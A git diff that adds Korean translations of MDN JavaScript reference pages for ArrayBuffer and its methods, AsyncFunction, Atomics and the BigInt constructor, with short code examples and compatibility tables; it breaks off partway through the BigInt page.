diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/arraybuffer/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/arraybuffer/index.html
new file mode 100644
index 0000000000..4012646fa4
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/arraybuffer/index.html
@@ -0,0 +1,70 @@
+---
+title: ArrayBuffer() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/ArrayBuffer
+tags:
+  - ArrayBuffer
+  - Constructor
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>ArrayBuffer()</code></strong> 생성자는 {{jsxref("ArrayBuffer")}} 객체를 생성합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new ArrayBuffer(<em>length</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>생성할 <code>ArrayBuffer</code>의 바이트 크기.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 크기를 가진 새로운 <code>ArrayBuffer</code> 객체. 내용은 모두 0으로 초기화됩니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>length</code>가 {{jsxref("Number.MAX_SAFE_INTEGER")}}보다 크거나, 음수면 {{jsxref("RangeError")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제 코드는 8바이트 버퍼를 생성한 후 {{jsxref("Int32Array")}} 뷰로 그 버퍼를 참조합니다.</p>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(8);
+var view   = new Int32Array(buffer);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.ArrayBuffer")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html
new file mode 100644
index 0000000000..b17502631a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html
@@ -0,0 +1,57 @@
+---
+title: ArrayBuffer.prototype.byteLength
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>byteLength</strong></code> 접근자 속성은 {{jsxref("ArrayBuffer")}}의 길이를 바이트 단위로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-bytelength.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>aybuffer.byteLength</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>byteLength</code> 속성은 설정자 속성이 <code>undefined</code>인 접근자 속성으로, 오직 읽기만 가능합니다. <code>byteLength</code>는 배열 버퍼를 처음 생성할 때 정해지며 바꿀 수 없습니다. <code>ArrayBuffer</code>가 분리된 경우 0을 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+buffer.byteLength; // 8
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.byteLength")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/index.html
new file mode 100644
index 0000000000..8b5b0cd361
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/index.html
@@ -0,0 +1,97 @@
+---
+title: ArrayBuffer
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>ArrayBuffer</code></strong> 객체는 일반적인 고정 길이 원시 이진 데이터 버퍼를 나타냅니다.</p>
+
+<p>ArrayBuffer는 바이트로 구성된 배열로, 다른 언어에서는 종종 "바이트 배열"이라고 부릅니다. <code>ArrayBuffer</code>에 담긴 정보를 직접 수정하는 것은 불가능하지만, 대신 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">형식화 배열</a>이나 {{jsxref("DataView")}} 객체를 통해 버퍼를 특정 형식으로 나타내고, 이를 통해 버퍼의 내용을 읽거나 쓸 수 있습니다.</p>
+
+<p>{{jsxref("ArrayBuffer.ArrayBuffer", "ArrayBuffer()")}} 생성자는 주어진 길이를 가진 새로운 <code>ArrayBuffer</code>를 생성합니다. 또한 Base64 문자열이나 <a href="/ko/docs/Web/API/FileReader/readAsArrayBuffer">로컬 파일</a>처럼 기존 데이터에서 배열 버퍼를 생성할 수도 있습니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.ArrayBuffer", "ArrayBuffer()")}}</dt>
+ <dd>새로운 <code>ArrayBuffer</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>ArrayBuffer.length</code></dt>
+ <dd><code>ArrayBuffer</code> 생성자의 길이 속성으로, 값은 1입니다.</dd>
+ <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt>
+ <dd>파생 객체를 생성할 때 사용할 생성자 함수입니다.</dd>
+ <dt><code>ArrayBuffer.prototype</code></dt>
+ <dd>모든 <code>ArrayBuffer</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.isView()")}}</dt>
+ <dd>주어진 매개변수가 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">형식화 배열</a> 객체 또는 {{jsxref("DataView")}}와 같은 <code>ArrayBuffer</code>의 뷰면 <code>true</code>를, 아니면 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("ArrayBuffer.transfer()")}} {{experimental_inline}}</dt>
+ <dd>주어진 버퍼의 내용으로 새로운 버퍼를 만들고, 그 길이를 지정한 길이만큼 자르거나 확장(0 초기화)한 후 반환합니다.</dd>
+</dl>
+
+<h2 id="인스턴스">인스턴스</h2>
+
+<p>모든 <code>ArrayBuffer</code> 인스턴스는 <code>ArrayBuffer.prototype</code>을 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<dl>
+ <dt><code>ArrayBuffer.prototype.constructor</code></dt>
+ <dd>객체의 프로토타입을 생성하는 함수를 지정합니다. 초깃값은 내장 <code>ArrayBuffer</code> 생성자입니다.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd><code>ArrayBuffer</code>의 바이트 길이입니다. 처음 생성 시 정해지며 변경할 수 없습니다.</dd>
+</dl>
+
+<h3 id="메서드_2">메서드</h3>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.prototype.slice()")}}</dt>
+ <dd><code>ArrayBuffer</code>를 지정한 위치에서 잘라낸 새로운 <code>ArrayBuffer</code>를 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 8바이트 버퍼를 생성하고, {{jsxref("Global_Objects/Int32Array", "Int32Array")}} 뷰로 그 버퍼를 참조합니다.</p>
+
+<pre class="brush: js">const buffer = new ArrayBuffer(8);
+const view = new Int32Array(buffer);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer-objects', 'ArrayBuffer')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/isview/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/isview/index.html
new file mode 100644
index 0000000000..c68d5e0ef3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/isview/index.html
@@ -0,0 +1,76 @@
+---
+title: ArrayBuffer.isView()
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Method
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>ArrayBuffer.isView()</strong></code> 메서드는 주어진 값이 <code>ArrayBuffer</code> 뷰, 즉 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">형식화 배열 객체</a> 또는 {{jsxref("DataView")}}인지 판별합니다..</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-isview.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">ArrayBuffer.isView(<em>value</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값이 {{jsxref("ArrayBuffer")}} 뷰라면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">ArrayBuffer.isView();                    // false
+ArrayBuffer.isView([]);                  // false
+ArrayBuffer.isView({});                  // false
+ArrayBuffer.isView(null);                // false
+ArrayBuffer.isView(undefined);           // false
+ArrayBuffer.isView(new ArrayBuffer(10)); // false
+
+ArrayBuffer.isView(new Uint8Array());    // true
+ArrayBuffer.isView(new Float32Array());  // true
+ArrayBuffer.isView(new Int8Array(10).subarray(0, 3)); // true
+
+const buffer = new ArrayBuffer(2);
+const dv = new DataView(buffer);
+ArrayBuffer.isView(dv); // true
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.isView")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript 형식화 배열</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/slice/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/slice/index.html
new file mode 100644
index 0000000000..6c286be9aa
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/slice/index.html
@@ -0,0 +1,77 @@
+---
+title: ArrayBuffer.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>slice()</strong></code> 메서드는 현재 <code>ArrayBuffer</code>를 주어진 시작과 끝점에 맞춰 자른 새로운 <code>ArrayBuffer</code>를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-slice.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>arraybuffer</em>.slice(<em>begin</em>[, <em>end</em>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>begin</code></dt>
+ <dd>자르기 시작할 지점을 나타내는 0 기반 인덱스.</dd>
+</dl>
+
+<dl>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>자르기 끝낼 지점을 나타내는 바이트 인덱스. 지정하지 않은 경우 새로운 <code>ArrayBuffer</code>는 지정한 시작점부터 현재 <code>ArrayBuffer</code>의 끝까지 가지게 됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("ArrayBuffer")}} 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>slice()</code> 메서드는 <code>end</code> 매개변수로 지정한 바이트 위치 바로 앞까지 현재 배열 버퍼를 복사합니다. <code>begin</code>과 <code>end</code>는 음의 값인 경우 배열의 시작부터 위치를 세지 않고 끝에서부터 셉니다.</p>
+
+<p><code>end</code> 값이 유효한 범위를 벗어날 경우 버퍼 길이에 맞춰 잘라냅니다. 또한 새로운 ArrayBuffer의 길이가 음의 값이 나올 경우 0으로 처리합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="ArrayBuffer_복사하기"><code>ArrayBuffer</code> 복사하기</h3>
+
+<pre class="brush: js">const buf1 = new ArrayBuffer(8);
+const buf2 = buf1.slice(0);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.slice")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/asyncfunction/index.html b/files/ko/web/javascript/reference/global_objects/asyncfunction/index.html
new file mode 100644
index 0000000000..9578d2e534
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/asyncfunction/index.html
@@ -0,0 +1,125 @@
+---
+title: AsyncFunction
+slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Async</strong></code><strong><code>Function</code> 생성자는</strong> 새로운 {{jsxref("Statements/async_function", "async function")}} 객체를 만든다. 자바스크립트에서 모든 비동기 함수는 사실상 AsyncFunction 객체이다.</p>
+
+<p><code>AsyncFunction</code>이 전역변수가 아님에 주의한다. 다음코드를 보면 알 수 있다. </p>
+
+<pre class="brush: js">Object.getPrototypeOf(async function(){}).constructor
+</pre>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">new AsyncFunction([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>인수의 이름들은 함수내에서 사용되는 이름이다. 이름은 자바스크립트 식별자 로 유용한 문자열이거나 컴마로 구분된 문자열 목록이어야 한다. 예를들면 "x","theValue",or"a,b"와 같다.</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 정의를 구성하는 자바스크립트 명령문들로 구성된 문자열.</dd>
+</dl>
+
+<h2 id="상세설명">상세설명</h2>
+
+<p>AsyncFunction 생성자를 통해 만들어진 {{jsxref("Statements/async_function", "async function")}} 객체는 함수가 만들어질때 분석된다. 이방법에서는 코드가 실행되지 않을 때도 작동하기 때문에 {{jsxref("Statements/async_function", "async function expression")}} 으로 비동기함수를 정의하고 해당 코드에서 호출할 때보다 비효율적이다.</p>
+
+<p>함수에 전달된 모든 인수들은 전달된 순서대로 함수내에서 인수이름으로 식별자가 생성된 것처럼 다루어진다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> <code>AsyncFunction</code> 생성자로 만들어진 {{jsxref("Statements/async_function", "async functions")}} 객체는 클로저를 생성 컨텍스트에 만들지 않는다; 이 객체들은 항상  전역 범위에서 생성됩니다. </p>
+
+<p><font><font>이객체들을 실행할 때,  </font></font><code>AsyncFunction</code><font><font>생성자가 호출 </font><font>된 범위의 변수가 아니라 자신의 지역 변수와 전역 변수에만 액세스 할 수 있습니다 </font><font>.</font></font></p>
+
+<p><font><font>이것은 비동기 함수 표현식을위한 코드와 함께 {{jsxref ( "Global_Objects / eval", "eval")}}을 사용하는 것과 다릅니다.</font></font></p>
+</div>
+
+<p><code>AsyncFunction</code> 생성자를 (<code>new</code> 연산자를 사용하지 않고) 함수로 호출하는 것과 생성자로 동작시키는 것은 동일하다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code><strong>AsyncFunction.length</strong></code></dt>
+ <dd><code>AsyncFunction</code> 생성자의 <code>length</code> 속성(이 값은 1임).</dd>
+ <dt><strong><code>AsyncFunction.prototype</code></strong></dt>
+ <dd>모든 비동기 함수 객체에 속성을 추가할 수 있도록 함.</dd>
+ <dt><code><strong>AsyncFunction.constructor</strong></code></dt>
+ <dd>초기값은 {{jsxref("AsyncFunction")}}임.</dd>
+ <dt><code><strong>AsyncFunction.prototype[@@toStringTag]</strong></code></dt>
+ <dd>"AsyncFunction"을 반환.</dd>
+</dl>
+
+<h2 id="AsyncFunction_인스턴스"><code>AsyncFunction 인스턴스</code></h2>
+
+<p><code>AsyncFunction</code> 인스턴스는 <code>AsyncFunction.prototype</code> 에서ㅜ메소드와 속성을 상속받는다.</p>
+
+<p>여느 생성자에서와 같이 모든 <code>AsyncFunction</code> 인스턴스들을 수정할 수 있도록 생성자의 <code>prototype</code> 객체를 수정할 수 있다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="AsyncFunction_생성자를_통한_비동기_함수_만들기"><code>AsyncFunction</code> 생성자를 통한 비동기 함수 만들기</h3>
+
+<pre>function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+let AsyncFunction = Object.getPrototypeOf(async function(){}).constructor
+
+let a = new AsyncFunction('a',
+                          'b',
+                          'return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);');
+
+a(10, 20).then(v =&gt; {
+  console.log(v); // 4초 후에 30을 출력
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-objects', 'AsyncFunction object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.AsyncFunction")}}</p>
+
+
+
+<h2 id="참고_문서">참고 문서</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/atomics/index.html b/files/ko/web/javascript/reference/global_objects/atomics/index.html
new file mode 100644
index 0000000000..6f155e8272
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/atomics/index.html
@@ -0,0 +1,162 @@
+---
+title: Atomics
+slug: Web/JavaScript/Reference/Global_Objects/Atomics
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<div><strong>Atomics 오브젝트</strong>는 atomic operations  정적메소드로서 제공됩니다. 다음과 같은 오브젝트와 함께 {{jsxref("SharedArrayBuffer")}} 사용합니다.</div>
+
+<p>Atomic operations Atomic Module을 인스톨해야합니다. 다른 global objects들과 다르게 Atomic은 constructor가 아닙니다. <strong>new operator</strong>를 사용하면 안되고 invoke Atomics object 함수로 사용하면됩니다. Atomics의 속성과 함수들은 static입니다.  (as is the case with the {{jsxref("Math")}} object, for example).</p>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="Atomic_operations">Atomic operations</h3>
+
+<p>메모리가 공유되었을때, 멀티쓰레드는 메모리안에 같은 데이터들을 읽거나 쓸 수 있습니다.<br>
+ Atomic operations은 예측 가능한 값을 쓰고 읽으며 다음 작업이 시작되기 전에 작업이 완료되고,작업이 중단되지 않도록합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.add()")}}</dt>
+ <dd>Adds a given value at a given position in the array. Returns the old value at that position.</dd>
+ <dt>{{jsxref("Atomics.and()")}}</dt>
+ <dd>Computes a bitwise AND at a given position in the array. Returns the old value at that position.</dd>
+ <dt>{{jsxref("Atomics.compareExchange()")}}</dt>
+ <dd>Stores a given value at a given position in the array, if it equals a given value. Returns the old value.</dd>
+ <dt>{{jsxref("Atomics.exchange()")}}</dt>
+ <dd>Stores a given value at a given position in the array. Returns the old value.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Atomics.load()")}}</dt>
+ <dd>Returns the value at the given position in the array.</dd>
+ <dt>{{jsxref("Atomics.or()")}}</dt>
+ <dd>Computes a bitwise OR at a given position in the array. Returns the old value at that position.</dd>
+ <dt>{{jsxref("Atomics.store()")}}</dt>
+ <dd>Stores a given value at the given position in the array. Returns the value.</dd>
+ <dt>{{jsxref("Atomics.sub()")}}</dt>
+ <dd>Subtracts a given value at a given position in the array. Returns the old value at that position.</dd>
+ <dt>{{jsxref("Atomics.xor()")}}</dt>
+ <dd>Computes a bitwise XOR at a given position in the array. Returns the old value at that position.</dd>
+</dl>
+
+<h3 id="Wait_and_wake">Wait and wake</h3>
+
+<p>The <code>wait()</code> and <code>wake()</code> methods are modeled on Linux futexes ("fast user-space mutex") and provide ways for waiting until a certain condition becomes true and are typically used as blocking constructs.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.wait()")}}</dt>
+ <dd>
+ <p>Verifies that a given position in the array still contains a given value and sleeps awaiting or times out. Returns either <code>"ok"</code>, <code>"not-equal"</code>, or <code>"timed-out"</code>. If waiting is not allowed in the calling agent then it throws an Error exception (most browsers will not allow <code>wait()</code> on the browser's main thread).</p>
+ </dd>
+ <dt>{{jsxref("Atomics.wake()")}}</dt>
+ <dd>Wakes up some agents that are sleeping in the wait queue on the given array position. Returns the number of agents that were woken up.</dd>
+ <dt>{{jsxref("Atomics.isLockFree()", "Atomics.isLockFree(size)")}}</dt>
+ <dd>
+ <p>An optimization primitive that can be used to determine whether to use locks or atomic operations. Returns <code>true</code>, if an atomic operation on arrays of the given element size will be implemented using a hardware atomic operation (as opposed to a lock). Experts only.</p>
+ </dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shared Memory', '#AtomicsObject', 'Atomics')}}</td>
+   <td>{{Spec2('Shared Memory')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("46")}} [1] [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("46")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is disabled by a preference setting. In about:config, set <code>javascript.options.shared_memory</code> to <code>true</code>. </p>
+
+<p>[2] The implementation is under development and needs these runtime flags: <code>--js-flags=--harmony-sharedarraybuffer --enable-blink-feature=SharedArrayBuffer</code></p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>[3] The Shared memory specification is still stabilizing. Prior to SpiderMonkey 48 {{geckoRelease(48)}}, the latest API names and semantics weren't implemented yet. The changes between Firefox version 46 and version 48 are:</p>
+
+<ul>
+ <li>The methods <code>Atomics.futexWakeOrRequeue()</code> and <code>Atomics.fence()</code> are now removed entirely ({{bug(1259544)}} and {{bug(1225028)}}).</li>
+ <li>The methods {{jsxref("Atomics.wait()")}} and {{jsxref("Atomics.wake()")}} were named <code>Atomics.futexWait()</code> and <code>Atomics.futexWake()</code> ({{bug(1260910)}}). Note: The old names have been removed in version 49 and later ({{bug(1262062)}}).</li>
+ <li>The properties <code>Atomics.OK</code>, <code>Atomics.TIMEDOUT</code>, <code>Atomics.NOTEQUAL</code> have been removed. The {{jsxref("Atomics.wait()")}} method now returns the strings "ok", "timed-out" and "not-equal" ({{bug(1260835)}}).</li>
+ <li>
+  <p>The <code>count</code> parameter of the {{jsxref("Atomics.wake()")}} method has been changed: it now defaults to <code>+Infinity</code>, not <code>0</code> ({{bug(1253350)}}).</p>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="https://github.com/lars-t-hansen/parlib-simple">parlib-simple </a>– a simple library providing synchronization and work distribution abstractions.</li>
+ <li><a href="https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md">Shared Memory – a brief tutorial</a></li>
+ <li><a href="https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/">A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/bigint/bigint/index.html b/files/ko/web/javascript/reference/global_objects/bigint/bigint/index.html
new file mode 100644
index 0000000000..9a7405fac8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/bigint/bigint/index.html
@@ -0,0 +1,62 @@
+---
+title: BigInt() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/BigInt/BigInt
+tags:
+  - BigInt
+  - Constructor
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/BigInt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>BigInt()</code></strong> 생성자는 {{jsxref("BigInt")}} 객체를 생성합니다.</p>
+
+<h2 id="구분">구분</h2>
+
+<pre class="syntaxbox">BigInt(<em>value</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
